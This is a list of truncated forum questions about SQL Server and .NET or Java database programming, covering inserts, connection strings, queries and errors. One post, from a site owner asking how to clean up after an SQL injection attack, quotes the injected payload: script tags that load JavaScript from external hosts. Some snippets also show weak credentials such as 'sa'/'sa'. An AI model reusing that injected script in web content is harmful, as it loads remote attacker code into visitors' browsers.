[microsoft:sql-server] Forum Topics

Can't find a database forum, so I'm posting here. If this is no good, perhaps someone can effectively redirect me... _______________________________ On starting SQL Server Management Studio Express, I get a message that says: [code] _________________________________________________ | Microsoft SQL Server Management Studio Express | ^ | /!\ The file C:\Windows\Microsoft.NET\Framework\mscorlib.tlb …

Can't find a database forum, so I'm posting here. If this is no good, perhaps someone can effectively redirect me... _______________________________ On starting SQL Server 2005 Management Studio Express, I get a message that says: [code] _________________________________________________ | Microsoft SQL Server Management Studio Express | ^ | /!\ The file …

Hi,when i was enter some data to the table using this was occurring " This cell has changed the changes has not been committed to database The original value is NULL " , and when i tried to execute a stored procedure the result was either NULL or the last …

Hello.. I am making a program where i use an sql database to storage user information, but i cant figure out how to add a new record that actually stays in the database, i have found some different codes but they only add the record "locally", so when i close …

I am trying to insert data from a form into a SQL Server 2005 database. The only code examples I can find are for Access databases. I am having a problem at the execute command. I have tried three different ways to execute but the page goes to an error …

Team - Could someone please tell me I haven't lost my mind? I have done relationships in the past but now they don't seem to work. Have I gone dumb? Creating a winform, using VS2008, sqlexpress & vb.net. My dataset looks like this: -------------------------------------------- Table 1 - BranchInformation BranchID - …

Hi. I create the table (MS SQL 2008) IdUrovniaKatHerakl - HierarchyId (not null primary key), KatName nvarchar(max) not null, LevelKat as RowId.GetLevel() KatId - int KatOpisanie nvarchar(max) How can I using C# in Visual Studio 2010 (RC) insert new data into this table? I do this: create DataSet and Create …

I am looking for advise on a new development application we are starting. I have to write 6 programs to create 6 different reports in text and excel formats (CSV). The related GUI application will launch either Notepad or Excel to view the reports. One of the reports will be …

Hi guys, I have a problem when synchronizing web publication. I begin by giving you an insight into my soft installed: -sql-server 2005 -windows seven so IIS7 I created a publication MaPublication.I made a right click on publication-> Release Local> MaPublication then I chose to configure synchronization Web.Then, next-> sql …

[CODE]using System; using System.Collections; using System.ComponentModel; using System.Data; using System.Drawing; using System.Web; using System.Web.SessionState; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.HtmlControls; using System.Web.Security; using System.Data.SqlClient; using System.Configuration; using System.Security; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { txtUserName.Focus(); } private void InitializeComponent() { this.cmdSubmit.Click += …

[COLOR="Red"]i have written this code to inser data in my database table "member "through the form but it is not working if i start debugging the code it gives no error but when i open my database table to see the inserted data it is not working. please help me …

hii all i am trying gridview control in my application.code is executing without errors.but i am not getting output means(internet explorer is coming blank). [CODE]using System; using System.Collections; using System.Configuration; using System.Data; using System.Linq; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.HtmlControls; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Xml.Linq; using System.Data.SqlClient; …

how can i Post an image on sql server Hi there I am working on class project .i face difficulties on uploading images. in my project i build an interface that a user fill his/her data and send to the data base (sql server).one of the data that is collected …

Hi, Thanks to the help on my other posts I am starting to be able to manipulate Excel through C# quite successfully. My new question is: I am just about to register a domain for the purposes of personalised email. I don't have any particular need (at the moment) for …

Hello Everyone, I have developed an application for website using ASP.NET and SQL Server 2005. Recently I have uploaded it to server, but after uploading its showing the following error message - [B] Login failed for user ''. The user is not associated with a trusted SQL Server connection.[/B] [B]Description:[/B] …

Hi ... I am a total php newbie. As clients move about my site they may cause entries in a temporary sql table that includes a field for their session id. If they leave the site by logging out properly, the rows in the table associated with their session are …

Hi I have a problem with this code. I'm trying to save a values in the database.. When I click the save button the table is being updated and showing the new values I entered. But the problem is it is not actually saved in the database, when I re-run …

I Got 2 tables: 'Standby' and 'Usage' [COLOR="Red"]Standby[/COLOR] Table got this fields: [COLOR="Red"]PartNº[/COLOR] (equipment id); [COLOR="Red"]Area [/COLOR](physical location); [COLOR="Red"]Stock1[/COLOR] (Nº Total of equipments); [COLOR="Red"]Usage[/COLOR] table got this fields: [COLOR="Red"]Quant_Used[/COLOR] (The times that the equipement is taken from Standby); [COLOR="Red"]Quant_Received[/COLOR] (The times that the equipement is restored to Standby); [COLOR="Red"]PartNº[/COLOR] (foreign …

Sorry for my bad english! Well, my problem is this: I have 2 tables: "Standby" and "Usage". Standby store all the equipements. Usage store the times that the equipement is used (replaced) and received (placed) in Standby. My problem is there: [CODE]Select Standby.PartNº,Standby.Stock1, Standby.Stock1 - (SUM([Usage].Quant_Used)-SUM([Usage].Quant_Received)) as [No Exterior], Standby.Area …

I use the following code..the code runs properly..but i can't understand the code.can any one explain me. using System; using System.Data.SqlClient; using System.Data; using SQL_Tuner; using AMS.Profile; namespace SQL_Tuner { public class DataBase { clsGlobal C1= new clsGlobal(); public DataTable GetDatabases() { DataTable dt = null; if (dt == null) …

Just when I thought I was comfortable with SQL queries, another one popped up that I can't get around with.... I'm ALMOST there but not quite. Here is the situation... I'm dealing with two tables [B]PoolTeams[/B] and [B]PlayerStats[/B] The PoolTeams table has two columns: [B]PoolTeamID[/B] and [B]TeamName[/B] The PlayerStats table …

hello all in table1 I have Date Value 2/1/2010 100 2/2/2010 110 2/5/2010 95 3/4/2010 150 3/15/2010 220 etc how to sum the value according to it's month ? so I got Pebruary' sum value=315 March sum value =370 tq

I want to enter details of a client into a database.If the details already exists the application must inform the user and they don't then save the details here is my code [code=c#] private void btnCreate_Click(object sender, EventArgs e) { SqlConnection conn = new SqlConnection(); conn.ConnectionString="Data Source=MyComputer\\SQLEXPRESS;Initial Catalog=TIP;Integrated Security=True;Pooling=False"; conn.Open(); …

Today is my first day on this site. I am vey new to VB.NET, i have a good amount of experience in VB6. I have a application I wrote for my Aikido club to track hours and I am converting it to .NET. The code below is very basic and …

Hi, I am create one application using C#.net and SQL Server 2005, In this application uses procedure,plz give me syntax how to create procedure in SQL Server and how to handle error in stored procedure.

How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script>

Hi everyone, I'm building a pretty simple website - a online quiz/test where possible questions are stored and retrieved in a sql database. I have 2 questions: 1. How can I loop the creation of a formview on the asp page to display each question. I have manage to create …

hi, i have sql server 2008 and visual studia 2008 install in my system when i open a new website project and then use the asp.net administrative tool in that when i so for security tab under that one i want to enable roles but it displaying error that can …

My code is : /* Database.java*/ [code] import java.sql.*; import java.awt.*; import javax.swing.*; public class Database{ private static Connection con = null; public static Statement statement = null; public static void makeConnection() { JOptionPane.showMessageDialog(null, "database"); String driver = "sun.jdbc.odbc.JdbcOdbcDriver"; String url = "jdbc:odbc:lib"; String username = ""; String password = …

i need a screen short for vb.net sql sever connection

hi i have a problem when connecting my application with sql server installed in a different server i am placing my connection string in this way : Public Const strConnection = "Server=SERVER\QTMLSQLSERVER;User Id=sa; Password=sa; Database=QTML_DB but its not working.

Dear friends I have some picture stored to SQL Table as Image Field. but I Don't know what is the format of this pictures they may be JPG or BMP format. for retrieving this images I mast know what is the format of each stored Picture. is any method to …

gud day.. is it possible to have a database with password? i mean not setting a password for database users, but for the database itself.. i do not want the database users to see what's inside of my tables.. is it possible?? thank you..

Hi ppl , Need some advise on my SQL coding . i have written some SQL code to draw and compare some data in which i was thrown back with an error of no Select statement after <> or any other expression . Can someone advise me of any walkaround …

hey im in the middle of creating a little program that allows a user to search and if in admin mode can delete and add a new record to the database i have my search part working fine i have made the query using the dataset.xsd query builder i used …

hi everyone, is there any way that I can programatically tell the user weather he/she is successfully connected to the database(SQL Server 2005). or connection failed. Code is written in C#. [code] string Connectionstring = "...."; sqlConnection con = new sqlConnection(Conncetionstring); con.Open(); [/code] how I can check programatically weather con.Open() …

I would like to get information of an employee by his EmployeeKey - in my case : LastName, FirstName, Gender, and Title using ASP. Net - C# - then display this information to label (label.Text = return value) The SQL is simple - [code] use AdventureWorksDW SELECT [FirstName], [LastName],[Gender], [Title] …

Hi Everyone, I'm trying to figure out how to use OPENROWSET to copy data from a local database to a remote one. I am able to query data from the remote table, and update values without issue. Example to update: [CODE] update OPENROWSET('SQLOLEDB', 'www.xxx.yyy.xxx'; 'username'; 'password, 'SELECT * FROM dbname.dbo.tablename') …

[code] SqlConnection cn = new SqlConnection(MyConn.cnstring); //string sql = "insert into Insert1 values(?,?,?,?,?)"; SqlCommand cmd ; cmd = new SqlCommand("insert into Insert1 values(?,?,?,?,?)", cn); cmd.Parameters.AddWithValue("sname", txtname.Text); cmd.Parameters.AddWithValue("srno", txtrno.Text); cmd.Parameters.AddWithValue("sdob", dob.Value); cmd.Parameters.AddWithValue("sadd", txtadd.Text); cmd.Parameters.AddWithValue("sgender", cmdgender.Text); cn.Open(); cmd.ExecuteNonQuery(); cn.Close(); [/code] When I use this code folowing error will gererate "Incorrect syntax near …

Hi. I am trying to load data from text file do table by BULK INSERT query. Command crashes on loading date field from text file to db. In the file there is a column where date is stored in the following format: [B]Mar 18 2008 3:40:25:153PM[/B]. The type of the …

[b]Split from - [url]http://www.daniweb.com/forums/thread91396.html[/url] [/b] im having the same problem with this right now, ive been able to add it into myown form but not been able to create new database items such as names and things like that. ive tried using the same style of SQL statements but nojoy …

can anybuddy help to sort out my problem in .net actually i m beginner at this platform facing a very crucial error i think so i m making a web page connectivity to sql database for inserting the data......... my error name: Inserting is not supported by data source 'SqlDataSource1' …

How can I get the sum of ‘ExpCounter’? I want to end up with Batch_Number and Sum of ExpCounter in my results. [CODE] select batch_number, sum(acount)/aSize as 'ExpCounter' from HMIExpCount2 where aDate >= '03/01/2010' and aDate <= '03/02/2010' and batch_number = '118705' group by batch_number, asize [/CODE] Thanks!

[b] Split from - [url]http://www.daniweb.com/forums/thread182138.html[/url] [/b] i also have the same problem. i want to store my excel sheet data in database having same fields as in sheet. please help me out

Has anyone found any documentation on how to properly pass variables from a SQL Table over to another task within the Foreach Loop container? Basically I want to take two columns from a table and pass them into a stored procedure that will be executed within a SQL Task within …

Hi guys, I will start by saying what I need my project to do! I have two Datagrids, One grid has all the customers garments on it with style number and contact length. The other grid has the users who have garment issued to them. the style number is in …

Hello Developers, I'm trying to build a news website in my own language (not english) in asp.net. Is there any article or magazine which u can send describing how to develop a news website in asp.net. I was trying to develop some parts of the site but I'm stuck now. …

Hi all, First time poster, but I'd like to ask a simple question in ASP.NET C#. I have a function that sends queries to an SQL Server. It takes a while, so I'd like to display the details to the user. Something simple, like "Sending x out of 12345 total …

hi guys.. I have designed a ER Diagram for my "Online Result & Review System" project.. The scenario is... The institute will enroll students according to the course they wish to follow.. the students have to face exams to get the certificates and move further in the specific course. the …

Hi; I would like to set the authorisation for the user that access to the application, when the check is done that the user doesn't hv the permission to use the particular function (add/delete/edit record), then the button will be disable from user view. I have following code, it's seem …